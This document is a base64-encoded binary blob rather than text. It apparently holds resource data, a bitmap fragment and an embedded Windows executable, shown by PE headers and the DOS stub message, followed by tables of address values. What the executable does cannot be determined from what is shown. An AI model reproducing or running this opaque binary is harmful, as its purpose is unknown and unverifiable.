AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgMAIBgAACAwAwAgIgBAIDSDACA oAEAgAEAAADAAQCAAwAAANgBAIAFAAAAKAIAgAYAAABAAgCADAAAAJgCAIAOAAAAsAIAgBAA AADQAgCAAAAAAFrpKQkEAAAAAAAjALEAAADoAgCAsgAAAAADAIC0AAAAGAMAgLUAAAAwAwCA tgAAAEgDAIC3AAAAYAMAgLgAAAB4AwCAuQAAAJADAIC6AAAAqAMAgLsAAADAAwCAvAAAANgD AIC9AAAA8AMAgL4AAAAIBACAvwAAACAEAIDOAAAAOAQAgM8AAABQBACA0AAAAGgEAIDRAAAA gAQAgNIAAACYBACA0wAAALAEAIAwdQAAyAQAgDF1AADgBACAMnUAAPgEAIA1dQAAEAUAgDZ1 AAAoBQCAN3UAAEAFAIA6dQAAWAUAgDt1AABwBQCAPHUAAIgFAIA/dQAAoAUAgEB1AAC4BQCA QXUAANAFAIBEdQAA6AUAgEV1AAAABgCARnUAABgGAIAAAAAAWukpCQQAAAAAAAEAjQAAADAG AIAAAAAAWukpCQQAAAAAAAIAewAAAEgGAIB+AAAAYAYAgAAAAABa6SkJBAAAAAAAAQAJAAAA eAYAgAAAAABa6SkJBAAAAAAACAABAAAAkAYAgAIAAACoBgCAAwAAAMAGAIAEAAAA2AYAgAUA AADwBgCABgAAAAgHAIAHAAAAIAcAgAgAAAA4BwCAAAAAAFrpKQkEAAAAAAABAGcAAABQBwCA AAAAAFrpKQkEAAAAAAAJAAcAAACABwCACAAAAJgHAIAJAAAAsAcAgAoAAADIBwCACwAAAOAH AIAMAAAA+AcAgCAAAAAQCACAVAcAACgIAIBVBwAAQAgAgAAAAABa6SkJBAAAAAAAAQB4AAAA WAgAgAAAAABa6SkJBAAAAAAAAgBrAAAAcAgAgGwAAACICACAAAAAAFrpKQkEAAAAAAABAAEA AACgCACAAAAAAFrpKQkEAAAAAAABAAkEAAC4CAAAAAAAAFrpKQkEAAAAAAABAAkEAADICAAA AAAAAFrpKQkEAAAAAAABAAkEAADYCAAAAAAAAFrpKQkEAAAAAAABAAkEAADoCAAAAAAAAFrp KQkEAAAAAAABAAkEAAD4CAAAAAAAAFrpKQkEAAAAAAABAAkEAAAICQAAAAAAAFrpKQkEAAAA AAABAAkEAAAYCQAAAAAAAFrpKQkEAAAAAAABAAkEAAAoCQAAAAAAAFrpKQkEAAAAAAABAAkE AAA4CQAAAAAAAFrpKQkEAAAAAAABAAkEAABICQAAAAAAAFrpKQkEAAAAAAABAAkEAABYCQAA AAAAAFrpKQkEAAAAAAABAAkEAABoCQAAAAAAAFrpKQkEAAAAAAABAAkEAAB4CQAAAAAAAFrp KQkEAAAAAAABAAkEAACICQAAAAAAAFrpKQkEAAAAAAABAAkEAACYCQAAAAAAAFrpKQkEAAAA AAABAAkEAACoCQAAAAAAAFrpKQkEAAAAAAABAAkEAAC4CQAAAAAAAFrpKQkEAAAAAAABAAkE AADICQAAAAAAAFrpKQkEAAAAAAABAAkEAADYCQAAAAAAAFrpKQkEAAAAAAABAAkEAADoCQAA AAAAAFrpKQkEAAAAAAABAAkEAAD4CQAAAAAAAFrpKQkEAAAAAAABAAkEAAAICgAAAAAAAFrp KQkEAAAAAAABAAkEAAAYCgAAAAAAAFrpKQkEAAAAAAABAAkEAAAoCgAAAAAAAFrpKQkEAAAA AAABAAkEAAA4CgAAAAAAAFrpKQkEAAAAAAABAAkEAABICgAAAAAAAFrpKQkEAAAAAAABAAkE AABYCgAAAAAAAFrpKQkEAAAAAAABAAkEAABoCgAAAAAAAFrpKQkEAAAAAAABAAkEAAB4CgAA AAAAAFrpKQkEAAAAAAABAAkEAACICgAAAAAAAFrpKQkEAAAAAAABAAkEAACYCgAAAAAAAFrp KQkEAAAAAAABAAkEAACoCgAAAAAAAFrpKQkEAAAAAAABAAkEAAC4CgAAAAAAAFrpKQkEAAAA AAABAAkEAADICgAAAAAAAFrpKQkEAAAAAAABAAkEAADYCgAAAAAAAFrpKQkEAAAAAAABAAkE AADoCgAAAAAAAFrpKQkEAAAAAAABAAkEAAD4CgAAAAAAAFrpKQkEAAAAAAABAAkEAAAICwAA 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 AQAFAAEABAAAAAAAAAAAMCoAAAQAAKnpKgACAAAAAAAEAAAQAAAAABAAABAAAAAAAAAQAAAA gLgOAIgCAADUFCYAoAAAAACwJgAglAEAAAAAAAAAAAAAAAAAAAAAAABQKADI2QEAmD4mADgA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAANQJAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAANAuJgAAEAAAADAmAAAEAAAAAAAAAAAAAAAA AAAgAABgLmRhdGEAAADMZgAAAEAmAABcAAAANCYAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAA IJQBAACwJgAAlgEAAJAmAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAMjZAQAAUCgAANoBAAAm KAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA0Feq/qhnqv5gU6r/RFOq/RBbqvwAAAAA4SPK/ZHnyvzMn8r91FPK/vRTyv6kh8r9JefK/ gxnyv2kU8r/VFPK/ySDyv9kg8r9SMfK/wCbyv0UU8r+6l/K/f3nyv0Io8r8rJ/K/pkjyv7cf 8r9xFvK/7xbyv4xQ8r+iKPK/w0vyv4Io8r8+KPK/7i/yvxNJ8r+GKPK/oU3yvxRK8r/0L/K/ pSHyvytJ8r8cHvK/LS3yv9gk8r86KPK/wyPyv/4k8r+9NPK/e1Dyv6Ij8r82KPK/sRTyv0oo 8r9kefK/PFHyvzVR8r+yHPK/4CTyv70f8r/DH/K/nijyv6Eh8r8uKPK/0CTyv2Ig8r8iHPK/ rEjyv7JI8r+qKPK/sR/yv5Mi8r85FPK/0SDyv5Yo8r/cJPK/nE7yv1EU8r9bJ/K/cVDyv5hH 8r8gSPK/AiXyv50g8r+fH/K/vCbyv2gi8r/LJ/K/Jxryvxcn8r+ZH/K/Hyfyvxsa8r9XJ/K/ lEjyv5p58r8nFPK/yiLyvx4U8r9jJ/K/Xyfyv3NT8r/XPfK/iijyv5Io8r+4HPK/VxXyvzIw 8r9bJPK/Pkjyv1Qw8r9kefK/QzDyv+Ie8r/8NfK/3xPyvwAAAABedfe/Z333v9RJ979vWfm/ hVj3v4MG+r/UE/e/1BP3v9QT97/UE/e/yf/3v7Rc+b8sYvm/3Nb5vxgr+b/8cve/rXP3v1h0 97+jufe/frn3v9cT+L8lRfm/n0L4v9Gr+L9lQ/e/PEP3v2Tg9783Pfi/e935v5cg+L+ZDvq/ Nkn4v8TF+L/3RPm/PzL5vzxq979IePe/QW73vx9u97+4SPe/2233v4V997+jffe/MZD6v/t2 978FBPq/oOD4v6xt97/Vb/e/P3H3vz1w97/fBPq/tW/3v+9i+b/PO/u/Jrv3v9J9978ad/e/ 4lD4v3UL+r/GCvq/xGT3v/wt+b8Hdvu/3574v/kG+r9pWfm/cCr5v67I979qb/e/lHX3v4te +b+Pr/m/s8r4vxRv97+5Qfi/yG73v+f/979pFfm/MZD6v+0S+b+5e/e/lHr3v9R297+CkPq/ knT7vyPh+L8Vf/e/vX73vz9v97/pbve/JC75v1b2+b8pLvm/DQv4v01K+L+6O/u/jEP3vxoG +r+gw/m/6HT3v+kr+b8BBfq/tCD4v/ql+b+edve/33r3v0F/97/Ycfe/AAAAACYoAHjZMQB4 xegAeF4VAHhQBQF4XFQBeBEyAHi/EAF4e2MCeHBfAngTDgF49FsCePhiAngNXAF4oVIBeIPC AHhvUgF4AlgAeNQVAHhFWgF401IBeDpjAnj37AF4FB8AeHnrAXi86QB4wScAeDRNAHiOEwB4 qB8AeLESAHgMrAN4sUgAeAAAAABAf/R/NPP2f9vW838oC/Z/9Qj0fwsV83+4dfN/Y+Dzf7cR 9X927vN/BhH1fyrl9H+QwvR/jPP2f/MU838F4/N/RDn1f4HA+n/C3/N/rAj1f7ip9X/BOPV/ ANT2f7gr83+DPfZ/QIv1f10Q+X+oEPl/wOL0f4mI9H+KtPV/zxrzf/fL839nu/N/xcvzfxbI 9n+jKfN/xRX2fxQT9n99dvh/Ixnzf2bt9n8eVfV/Epn2f2A29X9It/l/1PX1f1Sp9X8Uy/N/ AAAAAPufv3DS1b9w8wbAcCCRv3AcV79wKfrAcLkCwHD41r9wuZ+/cNmcv3B01b9wa7i/cJqX v3Chlr9wAca/cPCXv3Ctz8BwHe6/cPq6v3Cj9r9wcJy/cGkHwHA1B8BwnK2/cK8HwHBBwr9w 9SbBcKm3v3DU2r9wxOy/cGGav3AxmL9wFeG/cGpswHDfyr9wrOu/cLztv3CvnL9wjJa/cGK1 v3Dx+sBwmd6/cGXKv3BnucBwKdK/cBW5v3AEzr9w+7e/cKy1v3ArtL9wssbBcKjkv3D05L9w B8G/cMvfv3CdcsBwGUi/cL+ov3DRwMBwhay/cA20v3CzxL9wgLG/cM+xv3A8sr9w262/cIZI v3DlSL9wfMu/cBzyv3D93r9wn86/cIzlv3Cxrb9wss2/cAzsv3D8wr9wRsLAcCPgv3Da4b9w ZcO/cGMywHD+7b5w2EHBcCQxv3AkZb9wvAK/cA8owHCTXr9w/zzAcDNuv3DV5L5wRea+cLwl wXADOb9wOw3AcCsjwHDSRb9wQS/AcNEyv3AFJcFwvEa/cNI7wHBoM8Bw1ELBcI5EwXDYD8Bw DCTBcDFPv3ABKcBwUl3BcBcjwXDbNcBw0yLAcC+pwHDpLr9wQC6/cAEvv3C+H8FwkyTBcDM6 v3CRML9w6O++cOhFv3A26b5w8Dq/cB0Jv3AjRMFwoiLAcJsnwHBSl79wUArAcKwIwHBdur9w JFK/cE23v3BHyL9wgpu/cHu3v3AWk79wztC/cKvIv3DNw79w8VG/cILPv3DMq79wBtq/cHTY v3Bhub9wpMC/cHaav3A8v79wxJy/cKqnv3CNwr9wOJe/cPy1v3CQ879wD/i/cIX3v3Bq7b9w abu/cFlPwXBgwsFwtWzAcFpewXCLUb9wzFC/cJlQv3BHUL9wtdi/cF5Rv3A6+b9we+O/cF3d v3D13b9wJeS/cBMHwHAxAMBwqP6/cO6cv3Dk/79wVdC/cHCsv3CarL9wZOy/cMDRv3AAAAAA RxT1vwlS9b9gRPW/ZVz1v5AZ9b9tF/W/8Cb1vy5B9b8TQvW/P1r1v2dM9b8qWPW/vCH1v/Qt 9b/qU/W/wB71v8gg9b9/RPW/2hr1vzAh9b/gGvW/aiH1v8hT9b//JPW/A1r1v7Qh9b8uNfW/ j1X1v0ZM9b8LJfW/DyX1v9Ab9b/QEPW/Pkn1v2kS9b8SLfW/6lL1v2VR9b+/JPW/Pxv1v3Uk 9b9HG/W/YiP1v9ck9b/RFfW/pCD1v0of9b/bJPW/uCD1v0JV9b+ZJPW/vRj1v3Yh9b+NJPW/ 